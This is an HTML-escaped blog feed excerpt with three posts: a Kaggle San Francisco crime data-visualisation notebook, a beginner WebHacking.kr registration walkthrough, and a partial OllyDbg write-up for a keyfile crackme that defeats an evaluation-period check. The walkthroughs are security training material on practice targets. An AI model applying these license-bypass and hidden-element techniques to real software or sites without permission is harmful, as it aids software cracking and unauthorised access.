&lt;td&gt;780.0&lt;/td&gt;
&lt;td&gt;290.0&lt;/td&gt;
&lt;td&gt;245.0&lt;/td&gt;
&lt;td&gt;1456.0&lt;/td&gt;
&lt;td&gt;386.0&lt;/td&gt;
&lt;td&gt;1191.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VANDALISM&lt;/td&gt;
&lt;td&gt;5355.0&lt;/td&gt;
&lt;td&gt;4469.0&lt;/td&gt;
&lt;td&gt;5374.0&lt;/td&gt;
&lt;td&gt;5294.0&lt;/td&gt;
&lt;td&gt;5404.0&lt;/td&gt;
&lt;td&gt;2613.0&lt;/td&gt;
&lt;td&gt;3180.0&lt;/td&gt;
&lt;td&gt;6550.0&lt;/td&gt;
&lt;td&gt;4869.0&lt;/td&gt;
&lt;td&gt;1616.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VEHICLE THEFT&lt;/td&gt;
&lt;td&gt;7219.0&lt;/td&gt;
&lt;td&gt;4210.0&lt;/td&gt;
&lt;td&gt;8960.0&lt;/td&gt;
&lt;td&gt;7148.0&lt;/td&gt;
&lt;td&gt;6291.0&lt;/td&gt;
&lt;td&gt;3961.0&lt;/td&gt;
&lt;td&gt;4113.0&lt;/td&gt;
&lt;td&gt;4724.0&lt;/td&gt;
&lt;td&gt;6142.0&lt;/td&gt;
&lt;td&gt;1004.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WARRANTS&lt;/td&gt;
&lt;td&gt;4322.0&lt;/td&gt;
&lt;td&gt;2777.0&lt;/td&gt;
&lt;td&gt;2528.0&lt;/td&gt;
&lt;td&gt;6615.0&lt;/td&gt;
&lt;td&gt;4595.0&lt;/td&gt;
&lt;td&gt;2318.0&lt;/td&gt;
&lt;td&gt;1010.0&lt;/td&gt;
&lt;td&gt;9101.0&lt;/td&gt;
&lt;td&gt;1616.0&lt;/td&gt;
&lt;td&gt;7324.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WEAPON LAWS&lt;/td&gt;
&lt;td&gt;1647.0&lt;/td&gt;
&lt;td&gt;487.0&lt;/td&gt;
&lt;td&gt;1130.0&lt;/td&gt;
&lt;td&gt;1329.0&lt;/td&gt;
&lt;td&gt;789.0&lt;/td&gt;
&lt;td&gt;357.0&lt;/td&gt;
&lt;td&gt;327.0&lt;/td&gt;
&lt;td&gt;1128.0&lt;/td&gt;
&lt;td&gt;567.0&lt;/td&gt;
&lt;td&gt;794.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;fg3, ax3 = plt.subplots(figsize=(10, 10))
sns.heatmap(ca_pdDistrict, linewidths=.5, ax=ax3)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x1147b0fd0&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_67_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ce7oQh/btqzQsODQIF/XNZOJWL7fiGXalwMnFqk7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ce7oQh/btqzQsODQIF/XNZOJWL7fiGXalwMnFqk7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ce7oQh/btqzQsODQIF/XNZOJWL7fiGXalwMnFqk7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fce7oQh%2FbtqzQsODQIF%2FXNZOJWL7fiGXalwMnFqk7k%2Fimg.png&quot; data-filename=&quot;output_67_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;ca_pdDistrict.loc['LARCENY/THEFT'].sort_values(ascending=False)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;dns&quot;&gt;&lt;code&gt;PdDistrict
SOUTHERN      41841.0
NORTHERN      28628.0
CENTRAL       25058.0
MISSION       18223.0
TARAVAL       11844.0
INGLESIDE     10235.0
BAYVIEW       10118.0
TENDERLOIN     9901.0
RICHMOND       9891.0
PARK           9146.0
Name: LARCENY/THEFT, dtype: float64&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;soutern = non_outliers[non_outliers[&quot;PdDistrict&quot;] == 'SOUTHERN']
soutern.head()&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;table class=&quot;dataframe&quot; border=&quot;1&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;text-align: right;&quot;&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;Dates&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Descript&lt;/th&gt;
&lt;th&gt;DayOfWeek&lt;/th&gt;
&lt;th&gt;PdDistrict&lt;/th&gt;
&lt;th&gt;Resolution&lt;/th&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;X&lt;/th&gt;
&lt;th&gt;Y&lt;/th&gt;
&lt;th&gt;Dates-year&lt;/th&gt;
&lt;th&gt;Dates-month&lt;/th&gt;
&lt;th&gt;Dates-day&lt;/th&gt;
&lt;th&gt;Dates-hour&lt;/th&gt;
&lt;th&gt;Dates-minute&lt;/th&gt;
&lt;th&gt;Dates-second&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;2015-05-13 20:30:00&lt;/td&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;GRAND THEFT FROM LOCKED AUTO&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;SOUTHERN&lt;/td&gt;
&lt;td&gt;NONE&lt;/td&gt;
&lt;td&gt;KING ST / 3RD ST&lt;/td&gt;
&lt;td&gt;-122.391846&lt;/td&gt;
&lt;td&gt;37.778125&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;2015-05-13 20:23:00&lt;/td&gt;
&lt;td&gt;NON-CRIMINAL&lt;/td&gt;
&lt;td&gt;AIDED CASE, MENTAL DISTURBED&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;SOUTHERN&lt;/td&gt;
&lt;td&gt;NONE&lt;/td&gt;
&lt;td&gt;700 Block of MARKET ST&lt;/td&gt;
&lt;td&gt;-122.405295&lt;/td&gt;
&lt;td&gt;37.786307&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;2015-05-13 20:15:00&lt;/td&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;PETTY THEFT FROM LOCKED AUTO&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;SOUTHERN&lt;/td&gt;
&lt;td&gt;NONE&lt;/td&gt;
&lt;td&gt;1600 Block of MARKET ST&lt;/td&gt;
&lt;td&gt;-122.422128&lt;/td&gt;
&lt;td&gt;37.773033&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;td&gt;2015-05-13 19:30:00&lt;/td&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;PETTY THEFT FROM A BUILDING&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;SOUTHERN&lt;/td&gt;
&lt;td&gt;NONE&lt;/td&gt;
&lt;td&gt;0 Block of 3RD ST&lt;/td&gt;
&lt;td&gt;-122.403285&lt;/td&gt;
&lt;td&gt;37.787306&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;2015-05-13 19:30:00&lt;/td&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;GRAND THEFT FROM UNLOCKED AUTO&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;SOUTHERN&lt;/td&gt;
&lt;td&gt;NONE&lt;/td&gt;
&lt;td&gt;500 Block of BRANNAN ST&lt;/td&gt;
&lt;td&gt;-122.397616&lt;/td&gt;
&lt;td&gt;37.777392&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;fg4, ax4 = plt.subplots(figsize=(10,10))
sns.scatterplot(x=&quot;X&quot;, y=&quot;Y&quot;, hue=&quot;Category&quot;, data=soutern, ax=ax4)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x115195dd8&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_70_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbQ1Vh/btqzOdMEIV7/USz6sSBDmKRRWxPyayujN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbQ1Vh/btqzOdMEIV7/USz6sSBDmKRRWxPyayujN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbQ1Vh/btqzOdMEIV7/USz6sSBDmKRRWxPyayujN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbQ1Vh%2FbtqzOdMEIV7%2FUSz6sSBDmKRRWxPyayujN1%2Fimg.png&quot; data-filename=&quot;output_70_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3&gt;참고&lt;/h3&gt;
&lt;p&gt;&lt;b&gt;seaborn 시각화&lt;/b&gt;: &lt;a href=&quot;https://datascienceschool.net/view-notebook/4c2d5ff1caab4b21a708cc662137bc65/&quot;&gt;https://datascienceschool.net/view-notebook/4c2d5ff1caab4b21a708cc662137bc65/&lt;/a&gt;&lt;/p&gt;</description>
      <category>AI&amp;amp;BigData/Data Analysis</category>
      <category>EDA</category>
      <category>Kaggle</category>
      <category>San Francisco Crime Classification</category>
      <category>seaborn</category>
      <category>seaborn시각화</category>
      <category>sf-crime</category>
      <category>데이터시각화</category>
      <category>시각화</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/235</guid>
      <comments>https://eunguru.tistory.com/235#entry235comment</comments>
      <pubDate>Sun, 17 Nov 2019 22:59:05 +0900</pubDate>
    </item>
    <item>
      <title>WebHacking.kr #00</title>
      <link>https://eunguru.tistory.com/234</link>
      <description>&lt;H1&gt;WebHacking.kr #00&lt;/H1&gt;
&lt;H3&gt;1. 사이트 접속&lt;/H3&gt;
&lt;UL&gt;
&lt;LI&gt;
&lt;P&gt;&lt;A href=&quot;http://webhacking.kr/index.html&quot;&gt;WebHacking.kr&lt;/A&gt; 사이트에 접속하면 Login 페이지를 볼 수 있음&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;두개의 input , Login 버튼이 존재&lt;/LI&gt;&lt;/UL&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 466px; HEIGHT: 328px; WIDTH: 466px; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997F873D5B878F7426&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997F873D5B878F7426&quot; width=&quot;466&quot; height=&quot;328&quot; filename=&quot;webpage.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;HEIGHT: 328px; WIDTH: 466px&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;회원가입 전이므로 &quot;Register&quot;를 해야하나 페이지에서 Register 버튼이 보이지 않음&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;2. 회원 가입하기&lt;/H3&gt;
&lt;H4&gt;1) &quot;Register&quot; 버튼 찾기&lt;/H4&gt;
&lt;UL&gt;
&lt;LI&gt;
&lt;P&gt;페이지 소스 보기나 웹 브라우저의 개발자 도구 실행&lt;/P&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;P&gt;개발자 도구가 더 편리하므로 개발자 도구 실행&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Chrome 브라우저 기준(':' &amp;gt; 도구더보기 &amp;gt; 개발자 도구)&lt;/LI&gt;&lt;/UL&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;P&gt;개발자 도구에서 &quot;select an element in the page to inspect it&quot; 버튼을 클릭하여 Login 버튼 위에 숨겨진 버튼을 클릭&lt;/P&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;P&gt;Register 버튼의 소스가 주석처리 되어 있는 것을 알 수 있음&lt;/P&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px; HEIGHT: 425px; WIDTH: 800px; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99900B335B878F9117&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99900B335B878F9117&quot; width=&quot;800&quot; height=&quot;425&quot; filename=&quot;register_hide.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;HEIGHT: 425px; WIDTH: 800px&quot; original=&quot;yes&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H4&gt;2) 주석 해제&lt;/H4&gt;
&lt;UL&gt;
&lt;LI&gt;
&lt;P&gt;개발자 도구에서 html 코드를 수정하여 주석을 해제&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;페이지에 숨겨진 &quot;Register&quot; 버튼이 출력됨&lt;/LI&gt;&lt;/UL&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px; HEIGHT: 292px; WIDTH: 800px; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9938ED335B878FB136&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9938ED335B878FB136&quot; width=&quot;800&quot; height=&quot;292&quot; filename=&quot;register.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;HEIGHT: 292px; WIDTH: 800px&quot; original=&quot;yes&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;&quot;Register&quot; 버튼을 클릭&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H4&gt;3) 회원가입 정보 입력&lt;/H4&gt;
&lt;UL&gt;
&lt;LI&gt;
&lt;P&gt;ID, PW, EMAIL을 입력&lt;/P&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;P&gt;decode me input box에 있는 문자열을 디코딩 하여 입력해야함&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;
&lt;P&gt;문자열 끝이 '='로 끝나는 것으로보아 base64 인코딩이 되어 있는 것을 알 수 있음&lt;/P&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;P&gt;&lt;A href=&quot;https://namu.wiki/w/BASE64&quot;&gt;base64참조&lt;/A&gt;&lt;/P&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;P&gt;순서대로 base64를 디코딩하면 &quot;211.192.46.165&quot;라는 IP주소를 찾을 수 있음&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;디코딩은 google에 검색하여 online base64 디코딩 사이트를 이용&lt;/LI&gt;&lt;/UL&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 559px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B3E2355B878FCD32&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B3E2355B878FCD32&quot; width=&quot;559&quot; height=&quot;443&quot; filename=&quot;submit_page.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;
&lt;P&gt;디코딩 된 문자열을 입력한 후 submit 버튼을 클릭&lt;/P&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;P&gt;입력한 정보가 뜨면서 가입이 된 것을 알 수 있음&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;back 버튼을 클릭하여 뒤로 돌아가서 로그인 시도&lt;/LI&gt;&lt;/UL&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 700px; HEIGHT: 303px; WIDTH: 700px; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9926EA355B878FE926&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9926EA355B878FE926&quot; width=&quot;700&quot; height=&quot;303&quot; filename=&quot;registered.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;HEIGHT: 303px; WIDTH: 700px&quot; original=&quot;yes&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;3. 로그인&lt;/H3&gt;
&lt;UL&gt;
&lt;LI&gt;초기 페이지로 돌아가 ID, PW를 입력한 후 Login 버튼을 클릭&lt;/LI&gt;
&lt;LI&gt;로그인에 성공함, &quot;enter&quot;버튼을 클릭하여 문제를 풀자! :)&lt;/LI&gt;&lt;/UL&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 357px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9930CD365B8790312D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9930CD365B8790312D&quot; width=&quot;357&quot; height=&quot;506&quot; filename=&quot;login_success.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/P&gt;</description>
      <category>보안/Web</category>
      <category>webhacking.kr</category>
      <category>WebHacking.kr register</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/234</guid>
      <comments>https://eunguru.tistory.com/234#entry234comment</comments>
      <pubDate>Thu, 30 Aug 2018 15:36:49 +0900</pubDate>
    </item>
    <item>
      <title>Lena's Reversing for Newbies #02</title>
      <link>https://eunguru.tistory.com/233</link>
      <description>
&lt;meta charset=&quot;UTF-8&quot;&gt;&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width initial-scale=1&quot;&gt;
&lt;title&gt;02_Lena&lt;/title&gt;
&lt;h1&gt;Lena's Reversing for Newbies #02&lt;/h1&gt;
&lt;h3&gt;1. 문제&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;문제: Keyfiling the reverseme + assembler &lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tuts4you.com/download/123/&quot;&gt;파일다운로드&lt;/a&gt;&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;2. 파일실행&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;#01과 동일 파일&lt;/li&gt;
&lt;li&gt;reverseMe.exe를 실행하면 &quot;Evaluation period out of date. Purchase new license&quot; 메시지박스 출력&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 325px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9962233A5B84339401&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9962233A5B84339401&quot; width=&quot;325&quot; height=&quot;104&quot; filename=&quot;01_messagebox.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;#01과 다르게 #02에서는 keyfile을 만들어서 &quot;You really did it! Congrats !!!&quot; 메시지박스가 출력되도록 해야함&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 194px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9987324F5B8433B324&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9987324F5B8433B324&quot; width=&quot;194&quot; height=&quot;103&quot; filename=&quot;01_success_msg.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;3. OllyDbg로 어셈블리코드 분석&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;상세 분석은 #01에서 했으므로 생략&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;1) Keyfile 생성, CreateFileA 함수를 호출하여 파일 열기&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&quot;Evaluation period out of date. Purchase new license&quot; 메시지박스 출력 전 CreateFileA 함수를 호출&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FileName: &quot;Keyfile.dat&quot;&lt;/li&gt;
&lt;li&gt;Mode: OPEN_EXISTING&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E51D405B8433DD24&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E51D405B8433DD24&quot; width=&quot;900&quot; height=&quot;113&quot; filename=&quot;createfile_before.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;reverseMe.exe와 동일 경로에 &quot;Keyfile.dat&quot; 파일을 생성(내용은 없는 채로 생성)&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 319px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B687345B8433FC07&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B687345B8433FC07&quot; width=&quot;319&quot; height=&quot;125&quot; filename=&quot;create_keyfile.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CreateFileA 함수 호출 코드에 브레이크 포인트 설정한 후  한 후 CreateFileA 함수 호출까지 실행 &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CreateFileA 함수 호출 후 리턴값인 EAX 레지스터 값은 -0x1이 아닌 값이므로 성공&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EAX 레지스터 값: 0x00000044&lt;/li&gt;
&lt;li&gt;리턴값을 비교하는 코드와 비교 결과에 따라 분기하는 코드에 따라 reverseM.0040109A로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9941B3335B84342E0A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9941B3335B84342E0A&quot; width=&quot;900&quot; height=&quot;252&quot; filename=&quot;createfile_called.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2)  reverseM.0040109A로 분기, ReadFile 함수를 호출하여 파일 내용 읽기&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ReadFile 함수 호출 코드에 브레이크 포인트 설정한 후  한 후 ReadFile 함수 호출까지 실행&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ReadFile 함수 호출 후 리턴값인 EAX 레지스터 값은 0이 아닌 값이므로 함수 호출 성공&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EAX 레지스터 값: 0x00000001&lt;/li&gt;
&lt;li&gt;리턴값을 비교하는 코드와 비교 결과에 따라 분기하는 코드에 따라 reverseM.004010B4로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
